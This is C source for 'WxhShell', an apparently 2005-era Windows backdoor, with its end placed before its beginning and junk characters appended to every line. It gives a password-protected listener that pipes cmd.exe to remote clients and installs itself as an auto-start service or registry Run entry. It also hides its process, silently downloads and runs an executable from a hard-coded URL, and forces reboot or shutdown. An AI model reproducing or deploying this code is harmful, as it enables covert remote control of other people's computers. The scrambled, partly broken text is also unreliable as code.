    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5Xr})%L  
    if(Boot(SHUTDOWN)) 6/ 5c|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nl}LT/N  
    else { |yz[mP*;o  
    closesocket(wsh); FaCW +9B  
    ExitThread(0); :4AIYk=q  
    } CmXLD} L_x  
    break; VWzQXo  
    } ^.:&ZsqV  
  // 获取shell >>$L vQ  
  case 's': { /ckk qk"  
    CmdShell(wsh); rGQD+ d  
    closesocket(wsh); >TglX t+  
    ExitThread(0); F m:Ys](  
    break; @U!&XZ]h  
  } %~:\f#6  
  // 退出 LCSvw  
  case 'x': { G%k&|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :xHKbWz6j  
    CloseIt(wsh); ,Z @I" &H  
    break; ~D@YLW1z(  
    } U%pB  
  // 离开 s7n7u7$j  
  case 'q': { CKH mJ]=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Z#_"s#L  
    closesocket(wsh); ~~|Iw=:  
    WSACleanup(); O [= L#wi  
    exit(1); -ysNo4#e&  
    break; H ~3.F  
        } `D|])^"{  
  } `Kg!aN  
  } v {r%/*  
mxZ+r#|di  
  // 提示信息 {96MfhkeBv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :[+8(~| za  
} [ >mH  
  } kSiyMDY-  
k9oi8G'g~  
  return; |=ph&9  
} @p~scE.#\  
x%`YV):*  
// shell模块句柄 Wu* 4r0  
int CmdShell(SOCKET sock) va_u4  
{ /ojx$Um  
STARTUPINFO si; L4B/ g)K  
ZeroMemory(&si,sizeof(si)); Mi#i 3y(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lr4wz(q<9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7_PY%4T"  
PROCESS_INFORMATION ProcessInfo; QxG^oxU}  
char cmdline[]="cmd"; |pS]zD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aV7VbC  
  return 0; rR":}LA^d  
} JwxKWVpWv  
kJl^,q  
// 自身启动模式 ]VQd *~ -  
int StartFromService(void) iS)-25M'  
{ s<"|'~<n  
typedef struct i`e[Vwe2x@  
{ ROn@tW  
  DWORD ExitStatus; UapU:>!"`  
  DWORD PebBaseAddress; { i6L/U.  
  DWORD AffinityMask; } r(b:}DN  
  DWORD BasePriority; ;^bfLSWm{  
  ULONG UniqueProcessId; [ KgO:},c  
  ULONG InheritedFromUniqueProcessId; Z[w}PN,xV  
}   PROCESS_BASIC_INFORMATION; ip<VRC5`5  
Wk7E&?-:6  
PROCNTQSIP NtQueryInformationProcess; hDTC~~J/  
.]h/M,xg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lCUYE"o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  !AJkd.  
@@^iN~uf  
  HANDLE             hProcess; _f";zd  
  PROCESS_BASIC_INFORMATION pbi; B<L7`xL  
T0dD:sN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "[P3b"=gW  
  if(NULL == hInst ) return 0; MG=8`J-`  
O'IU1sU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q<u?BA/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :8eI_X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?R)dx uj  
#S9J9k  
  if (!NtQueryInformationProcess) return 0; {|>Wwa2e  
XQn1B3k+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N,K/Ya)1  
  if(!hProcess) return 0; wH!$TAZ:Yw  
j24 3oD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mrRid}2  
66F?exr  
  CloseHandle(hProcess); 5b/ ~]v  
-t S\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :,JjN&  
if(hProcess==NULL) return 0; B VeMV4  
`dcz9 *  
HMODULE hMod; _b%)  
char procName[255]; W;=Ae~  
unsigned long cbNeeded; /;(ji?wN  
Ur]$@N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #0T/^ #  
hT1JEu  
  CloseHandle(hProcess); 'I/_vqp@  
[5~mP`He  
if(strstr(procName,"services")) return 1; // 以服务启动 ";=!PL  
DqQ p47kp  
  return 0; // 注册表启动 _rB,N#{2R=  
} 8u~  
=MQ/z#:-P  
// 主模块 TyIjDG6tM  
int StartWxhshell(LPSTR lpCmdLine) F<b'{qf"  
{ ':;k<(<-  
  SOCKET wsl; tgG*k$8z  
BOOL val=TRUE; m=l'9j"D  
  int port=0; M\4` S&  
  struct sockaddr_in door; @~$"&B  
pml33^*<U  
  if(wscfg.ws_autoins) Install(); 2lsUCQI;  
Sp X;nH-D  
port=atoi(lpCmdLine); aA#79LS  
~5&4s  
if(port<=0) port=wscfg.ws_port; AcuF0KWw/  
tjFX(;^[  
  WSADATA data; V>T?'GbS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ C%I'z'  
nI]EfHU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <7Pp98si,u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \fTQNF  
  door.sin_family = AF_INET; !\4B.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #}y8hzS$  
  door.sin_port = htons(port); ?Q-Tyf$3  
la+Cra&xL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mF\!~ag|  
closesocket(wsl); a)ry}E =f  
return 1; 4{F1GW  
} ErNYiYLi]  
Oq.ss!/z  
  if(listen(wsl,2) == INVALID_SOCKET) { gEj#>=s  
closesocket(wsl); *KvD$(ny  
return 1; t([}a ~1}  
} e9[72V  
  Wxhshell(wsl); J;obh.}u"{  
  WSACleanup(); dW4jkjap  
[y@*vQw  
return 0; a,vS{434J  
iv$YUM+  
} +v;z^+  
T3P9  
// 以NT服务方式启动 KCTX2eNN&h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V#dga5*]  
{ Pt"H_SW~k  
DWORD   status = 0; 'M>m$cCMZ  
  DWORD   specificError = 0xfffffff; aq$ hE-{28  
:/|"db&`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "wOfs$w%s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4`#Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uem-fTG  
  serviceStatus.dwWin32ExitCode     = 0; ).5 X  
  serviceStatus.dwServiceSpecificExitCode = 0; 7tcadXk0  
  serviceStatus.dwCheckPoint       = 0; -Ty~lZ)TDT  
  serviceStatus.dwWaitHint       = 0; !} TsFa  
kh0cJE\_^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4=tR_s  
  if (hServiceStatusHandle==0) return; 'vBZh1`p  
$].htm  
status = GetLastError(); D|9+:Y  
  if (status!=NO_ERROR) 2DCQ5XewYe  
{ 7_i8'(``  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )cJ>&g4]  
    serviceStatus.dwCheckPoint       = 0; kCTf>sJe  
    serviceStatus.dwWaitHint       = 0; tNT Sy =  
    serviceStatus.dwWin32ExitCode     = status; &+2l#3}  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,_3hbT8Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tz@MZs09  
    return; !e|\1v'0  
  } !B3TLe h  
R(~wSL*R>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H\S)a FY[  
  serviceStatus.dwCheckPoint       = 0; lDYgt UKG  
  serviceStatus.dwWaitHint       = 0; O{X~,Em=q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W r/-{Wt  
} lv 8EfN  
_HUbE /  
// 处理NT服务事件,比如:启动、停止 C[^V\?3ly:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :k/Xt$`  
{ 2 kDsIEA  
switch(fdwControl) `} PYltW  
{ 7s(tAbPdB  
case SERVICE_CONTROL_STOP: )]1hN;Nz  
  serviceStatus.dwWin32ExitCode = 0; 6CBk=)qH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dDPQDIx  
  serviceStatus.dwCheckPoint   = 0; _B^zm-}8|B  
  serviceStatus.dwWaitHint     = 0; OjUPvR2 0  
  {  `t U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z4VFfGCTL  
  } T0w_d_aS  
  return; KG'i#(u[  
case SERVICE_CONTROL_PAUSE: n[ B~C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3 ~v 17  
  break; B?VTIq>  
case SERVICE_CONTROL_CONTINUE: 7QsD"rL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T`EV uRJ  
  break; *|A QV:  
case SERVICE_CONTROL_INTERROGATE: ;/K2h_=3z  
  break; zU?O)w1'  
}; 7PY$=L48A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2zTi/&K&  
} <sH}X$/  
!$Nj!  
// 标准应用程序主函数 #V!a<w4_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bU! v  
{ cl~Yx 4  
n"(!v7YNp  
// 获取操作系统版本 P=94  
OsIsNt=GetOsVer(); s\ -,RQ1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (GSP3KKo*G  
Cu[-<>my  
  // 从命令行安装 (>v'0 RA  
  if(strpbrk(lpCmdLine,"iI")) Install(); \/NF??k,jk  
t2N W$ -E  
  // 下载执行文件 &3Zq1o  
if(wscfg.ws_downexe) { 9@ tp#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cSb;a\el$  
  WinExec(wscfg.ws_filenam,SW_HIDE); ywa*?3?c  
} WTvUz.Et  
ot^pxun  
if(!OsIsNt) { @5%&wC  
// 如果时win9x,隐藏进程并且设置为注册表启动 `S {&gl  
HideProc(); `geHSx_  
StartWxhshell(lpCmdLine); ]\78(_o.zz  
} kWzN {]v  
else EbC!tR  
  if(StartFromService()) >@YefNX6  
  // 以服务方式启动 tEhg',2t(  
  StartServiceCtrlDispatcher(DispatchTable); ,EB}IG ]  
else A]z*#+Sl  
  // 普通方式启动 7>E.0DP  
  StartWxhshell(lpCmdLine); K;?D^n.  
P-@MLIC{  
return 0; 7zM:z,  
} cl4E6\?z  
^Bx[%  
fj_23{,/"g  
{7NGfzwp;6  
=========================================== >fPo_@O  
QZ a.c  
pO` KtagL  
P49\A^5S!  
@+u>rS|IB  
* DL7p8  
" ScPVjqG2{  
v,KKn\X  
#include <stdio.h> 4-(kk0]`z  
#include <string.h> ~66xO9s  
#include <windows.h> m#7(<#  
#include <winsock2.h> a{5SOe;;  
#include <winsvc.h> #z `W ,^C  
#include <urlmon.h> ,erw(7}'.  
;5[KZ8j6Y  
#pragma comment (lib, "Ws2_32.lib") 8H!QekQZ]\  
#pragma comment (lib, "urlmon.lib") rpR${%jc  
}#XFa#  
#define MAX_USER   100 // 最大客户端连接数 [0H0%z#tU&  
#define BUF_SOCK   200 // sock buffer oo5=5s6 3}  
#define KEY_BUFF   255 // 输入 buffer c`a(  
G.W !   
#define REBOOT     0   // 重启 8t-GsjHb  
#define SHUTDOWN   1   // 关机 ',+yD9 @  
BrV{X&>[i  
#define DEF_PORT   5000 // 监听端口 Z~5) )5Ye;  
xUo6~9s7  
#define REG_LEN     16   // 注册表键长度 k:@DK9 "^  
#define SVC_LEN     80   // NT服务名长度 +a1x;  
Cm}2>eH  
// 从dll定义API OmYVJt_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V2MOD{Maat  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W'lqNOX[v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * QgKo$IF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yK~=6^M  
iG N\ >m}  
// wxhshell配置信息 _fGTTw(  
struct WSCFG { cnv>&6a)  
  int ws_port;         // 监听端口 ZO0 Ee1/  
  char ws_passstr[REG_LEN]; // 口令 NxT"A)u  
  int ws_autoins;       // 安装标记, 1=yes 0=no zkQ[<  
  char ws_regname[REG_LEN]; // 注册表键名 +X}i%F'  
  char ws_svcname[REG_LEN]; // 服务名 "t@p9>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C8N)!5(A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r"h;JC/&<T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [Kg b#L'{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mgs(n5V5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a?c&#Jl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !vnQ;g5  
vF$i"^;tJ;  
}; 2-&EkF4p'  
.KsR48g8  
// default Wxhshell configuration wj|Zn+{"nF  
struct WSCFG wscfg={DEF_PORT, Vz{+3vfra6  
    "xuhuanlingzhe", ?6#won  
    1, c0!.ei  
    "Wxhshell", .L'w/"O  
    "Wxhshell", [6/ QUD8  
            "WxhShell Service", \ mqx '  
    "Wrsky Windows CmdShell Service", c8RJOc4X  
    "Please Input Your Password: ", }aCa2%  
  1, XYE|=Tr]  
  "http://www.wrsky.com/wxhshell.exe", x0*{oP  
  "Wxhshell.exe" M`xiC  
    }; gv#\}/->4  
Y +gY"  
// 消息定义模块 3a/n/_D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NkE0S`Xf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l'@-?p(Vuw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]I*c:(qwu  
char *msg_ws_ext="\n\rExit."; `?Rq44=  
char *msg_ws_end="\n\rQuit."; U$rMZk  
char *msg_ws_boot="\n\rReboot..."; Yo-}uTkw  
char *msg_ws_poff="\n\rShutdown..."; H=t"qEp  
char *msg_ws_down="\n\rSave to "; ]S|FK>U[  
Xlo7enzY  
char *msg_ws_err="\n\rErr!"; wb-yAQ8  
char *msg_ws_ok="\n\rOK!"; 7*/{m K)  
5=dL`  
char ExeFile[MAX_PATH]; I<SgKva;c  
int nUser = 0; k$EVr([  
HANDLE handles[MAX_USER]; K|& f5w  
int OsIsNt; zmMc*|  
Mf}M/Fh  
SERVICE_STATUS       serviceStatus; wBPo{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ITu19WG  
YFKE>+  
// 函数声明 9 _d2u#  
int Install(void); }x8!{Y#cF  
int Uninstall(void); 1+o]+Jz|  
int DownloadFile(char *sURL, SOCKET wsh); 3>,}N9P-v  
int Boot(int flag); IRdt:B|@  
void HideProc(void); jvT'N@  
int GetOsVer(void); _KT!OYH  
int Wxhshell(SOCKET wsl); hbjAxioA  
void TalkWithClient(void *cs); l,ENMKA^D  
int CmdShell(SOCKET sock); sdu?#O+c1  
int StartFromService(void); }`"`VLh  
int StartWxhshell(LPSTR lpCmdLine); 1^ iBS  
kc,"w\ ai  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?b7\m":'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L'e_?`!:  
8fR(y~_gF  
// 数据结构和表定义 U=>S|>daR  
SERVICE_TABLE_ENTRY DispatchTable[] = k[=qx{Osx%  
{ 0lw>mxN  
{wscfg.ws_svcname, NTServiceMain}, X/!_>@`7?  
{NULL, NULL} xad`-vw  
}; yPyu)  
Onmmcem  
// 自我安装 Bd>~F7VWs  
int Install(void) @Mk`Tl  
{ [ oWkd_dK  
  char svExeFile[MAX_PATH]; Bqx5N"  
  HKEY key; GQ_KYS{  
  strcpy(svExeFile,ExeFile); MvVpp;bd  
AeJ ;g  
// 如果是win9x系统,修改注册表设为自启动 JAbUK[:K  
if(!OsIsNt) { BD g]M/{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <@<rU:o=V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J[ds.~ $  
  RegCloseKey(key); gN&i &%*!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pO]gf$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5dBftTv?  
  RegCloseKey(key); %36x'Dn ?  
  return 0; }xZi Ct  
    } _03?XUKV  
  } :t?B)  
} %>_[b,  
else { GAGS-G#  
f^c+M~\JKj  
// 如果是NT以上系统,安装为系统服务 qsj{0Go  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p [O6  
if (schSCManager!=0) ^E&PZA\,;  
{ 8$00\><r  
  SC_HANDLE schService = CreateService -(VJ,)8t2  
  ( ul{x|R  
  schSCManager, mh }M|h5Im  
  wscfg.ws_svcname, jW/WG tz  
  wscfg.ws_svcdisp, D0. )%  
  SERVICE_ALL_ACCESS, %E?Srs}j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vns3859$8  
  SERVICE_AUTO_START, ~^t@TMk$  
  SERVICE_ERROR_NORMAL, H DVimoOq  
  svExeFile, bMH~vR  
  NULL, y@P%t9l  
  NULL, De$AJl  
  NULL, "W<Y1$Y=Y  
  NULL, 'uPAG;)m  
  NULL P5S ]h  
  ); k.@![w\ea  
  if (schService!=0) Z9{~t  
  { Hq@+m!  
  CloseServiceHandle(schService); !oLn=  
  CloseServiceHandle(schSCManager); sJHVnMA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4WT[(  
  strcat(svExeFile,wscfg.ws_svcname); b UG,~\Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0RR|!zEu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8f@}-  
  RegCloseKey(key); .?>Cav9:  
  return 0; ldv@C6+J  
    } L3&Ys3-h  
  } ^BsT>VSH6  
  CloseServiceHandle(schSCManager); *dBy<dIy  
} 3bEcKA_z(  
} y]9R#\P/  
=j7Du[?Vu  
return 1; dab]>% M  
} ]>3Y~KH(  
)|gw5N4;  
// 自我卸载 6j E.X  
int Uninstall(void) &OR(]Wt0  
{ N['DqS =  
  HKEY key; 43=v2P0=Tj  
!pU$'1D  
if(!OsIsNt) { 0cG'37[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bWPsfUn#  
  RegDeleteValue(key,wscfg.ws_regname); z 4u&#.bU  
  RegCloseKey(key); <T 2O^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x6ghO-s  
  RegDeleteValue(key,wscfg.ws_regname); j#HXuV6  
  RegCloseKey(key); a`O'ZY  
  return 0; .jrNi=BP*  
  } .#EU@Hc  
} \S}/2]* 1  
} <z Gh}.6v  
else { R >xd*A  
Y;'<u\^M"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D 0Xl`0"'  
if (schSCManager!=0) p1N}2]e  
{ *&U~Io"U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *>fr'jj1$  
  if (schService!=0) *^>"  h@J  
  { +Z`=iia>  
  if(DeleteService(schService)!=0) { y6(PG:L  
  CloseServiceHandle(schService); {!,K[QwcI  
  CloseServiceHandle(schSCManager); E@}F^0c  
  return 0; ?Uql 30A  
  } l4C{LZ  
  CloseServiceHandle(schService); "t|)Kl  
  } IZVP-  
  CloseServiceHandle(schSCManager); Z |$#  
} HoI6(t  
} *WE8J#]d  
&raqrY|V  
return 1; 3%vXB=>T!  
} T(|'.&a  
I~,.@{4  
// 从指定url下载文件 S^O9}<2g  
int DownloadFile(char *sURL, SOCKET wsh) YQ0#j'}/  
{ ^[<BMk  
  HRESULT hr; Pnytox  
char seps[]= "/"; qxZIH  
char *token; y)kxR  
char *file; y-<.l=6A  
char myURL[MAX_PATH]; $6"sRI6u  
char myFILE[MAX_PATH]; 9A |A@E#  
C'R9Nn'  
strcpy(myURL,sURL); ]b- 2:M  
  token=strtok(myURL,seps); )O'LE&kQ|  
  while(token!=NULL) {f06Ki  
  { Gxr\a2Z&r%  
    file=token; I0XJ& P%  
  token=strtok(NULL,seps); ;m7V]h? R  
  } :EX>Y<`]  
fWHvVyQ.  
GetCurrentDirectory(MAX_PATH,myFILE); 17hoX4T  
strcat(myFILE, "\\"); ZTmy}@l  
strcat(myFILE, file); s'HsLe0|  
  send(wsh,myFILE,strlen(myFILE),0); ljFq;!I5  
send(wsh,"...",3,0); d/_D|ivZ=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ki1(b]rf  
  if(hr==S_OK) x0j5D  
return 0; '9\cIni0  
else v9(5H Y  
return 1; RZ6y5  
rr# nBhh8  
} 9r%fBiSk  
t]K20(FSN  
// 系统电源模块 B{Q}^Mcxy  
int Boot(int flag) <rC%$tr  
{ o.KnDY  
  HANDLE hToken; ]4aPn  
  TOKEN_PRIVILEGES tkp; s`yzeo  
% /:1eE`!S  
  if(OsIsNt) { -K|1w'E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ly[yn{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r]9-~1T  
    tkp.PrivilegeCount = 1; WNR]GI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vF\>;pcT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O_QDjxj^rZ  
if(flag==REBOOT) { ,gV#x7IW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uFr12ZFgK  
  return 0; 0/HFLz'  
} M9)4ihK  
else { Wf c/?{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v[L+PD U  
  return 0; K0w}l" )A  
} *\ii +f-  
  } 77\+V 0cF  
  else { u\LNJo| B  
if(flag==REBOOT) { 1$Hou   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [,;Y5#Y[5  
  return 0; !*]i3 ,{7v  
} 4DL;Y  
else { }c G)$E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yaz6?,)  
  return 0; -A#p22D,5  
} kcS7)"/ zC  
} i1evB9FZ1z  
$J1`.Q>)4  
return 1; rHKO13WF  
} d(IJ-qJ N  
j]Gn\QF  
// win9x进程隐藏模块 !Z_+H<fi+I  
void HideProc(void) e!6yxL*[@[  
{ ebA95v`Vms  
$+j1^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); suEK;Bk9  
  if ( hKernel != NULL ) Nu7>G  
  { &S4*x|-C&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fk=SkS ky  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;nSF\X(;{  
    FreeLibrary(hKernel); 7z? ;z<VJ  
  } V]|X ,G  
E2DfG^sGV  
return; AM+5_'S,  
} dWz?`B{'  
;6/WjUDw<|  
// 获取操作系统版本 WW:G( \`  
int GetOsVer(void) oC`F1!SfOO  
{ :M(uP e=D  
  OSVERSIONINFO winfo; Sp>g77@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n])#<0  
  GetVersionEx(&winfo); Wt/;iq"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `D;*.zrA  
  return 1; oU|G74e6  
  else V'9.l6l   
  return 0; 4Y(@ KUb  
} iC3z5_g*@  
_(-jk4 L  
// 客户端句柄模块 <WP@q&^k\  
int Wxhshell(SOCKET wsl) !( lcUdBd  
{ Zv!`R($  
  SOCKET wsh; z Rna=h!  
  struct sockaddr_in client; M\{n+r -m  
  DWORD myID; <Y k i8  
4Ly>x>b<  
  while(nUser<MAX_USER) vAX(3  
{ ]5'$EAsuW  
  int nSize=sizeof(client); ZWkRoJXNi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (;#c[eKy  
  if(wsh==INVALID_SOCKET) return 1; CH6 m  
1<ag=D`F_"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^+x?@$rq  
if(handles[nUser]==0) ^fsMfB  
  closesocket(wsh); * zp tbZ  
else d-b04Q7DQ  
  nUser++; K/W=r  
  } uHU@j(&c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Ivjcs:  
8m") )i-  
  return 0; %j tUbBN  
} :)#;0o5  
>NUbk9}J4  
// 关闭 socket u%C oo  
void CloseIt(SOCKET wsh) n#+EG3  
{ c|/HX%Y  
closesocket(wsh); <UGaIb  
nUser--; N|DfE{,  
ExitThread(0); nL 5tHz:e  
} BAQ-1kSz  
D [+LU(  
// 客户端请求句柄 hC2Fup1@  
void TalkWithClient(void *cs) )9H5'Wh#  
{ dk&e EDvfd  
z>N[veX%  
  SOCKET wsh=(SOCKET)cs; :7K a4  
  char pwd[SVC_LEN]; CY o m  
  char cmd[KEY_BUFF]; ILm +o$o ~  
char chr[1]; (H_dZL  
int i,j; V|u2(*  
 uo`R  
  while (nUser < MAX_USER) { yX!u&  
I/7!5Z*  
if(wscfg.ws_passstr) { t^'nh 1=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F'XQoZ* 1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M">v4f&K1!  
  //ZeroMemory(pwd,KEY_BUFF); jz8u'y[n7  
      i=0; 8R*;8y_  
  while(i<SVC_LEN) { -m@c{&r  
 Qxz[  
  // 设置超时 h  /  
  fd_set FdRead; LSta]81B4L  
  struct timeval TimeOut; $!O@Z8B  
  FD_ZERO(&FdRead); ?I?G+(bq  
  FD_SET(wsh,&FdRead); pX%:XpC!h  
  TimeOut.tv_sec=8; n%3!)/$  
  TimeOut.tv_usec=0; | In{5E k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l\Ozy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); egu{}5  
OD)X7PU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T ipH}  
  pwd=chr[0]; X9| Z ?jJ  
  if(chr[0]==0xd || chr[0]==0xa) { W'4/cO  
  pwd=0; l>\EkUT  
  break; ^BF}wQb :j  
  } &ZD@-"@  
  i++; 8xB-cE  
    } u[)X="-e#  
m4m-JD|v  
  // 如果是非法用户,关闭 socket 58Ibje  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?"@Fq2xgB4  
} CE3l_[c  
O&?i#@5#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O1v)*&NAI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ExG(*[l  
b^HDN(v  
while(1) { 2}&ERW  
6La[( )  
  ZeroMemory(cmd,KEY_BUFF); QVjHGY*R  
d7^ `  
      // 自动支持客户端 telnet标准   OG}890$n  
  j=0; hwGK),?"+  
  while(j<KEY_BUFF) { :[<Y#EX.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O}"oz3H  
  cmd[j]=chr[0]; yx8G9SO?  
  if(chr[0]==0xa || chr[0]==0xd) { PMP{|yEx"  
  cmd[j]=0; 1"y !wsM%  
  break; "=a3"/u  
  } 6Rfv3  
  j++; !` 1h *}  
    } eV"%(<{  
Ke4oLF2  
  // 下载文件 oB 1Qw'J w  
  if(strstr(cmd,"http://")) { w>2lG3H<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]y {tMC  
  if(DownloadFile(cmd,wsh)) !l*A3qA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,g?ny<#o  
  else M@TG7M7Os  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d~8U1}dP  
  } Z8=?Hu  
  else { !`_f  
IBNg2Y  
    switch(cmd[0]) { GXZ="3W |  
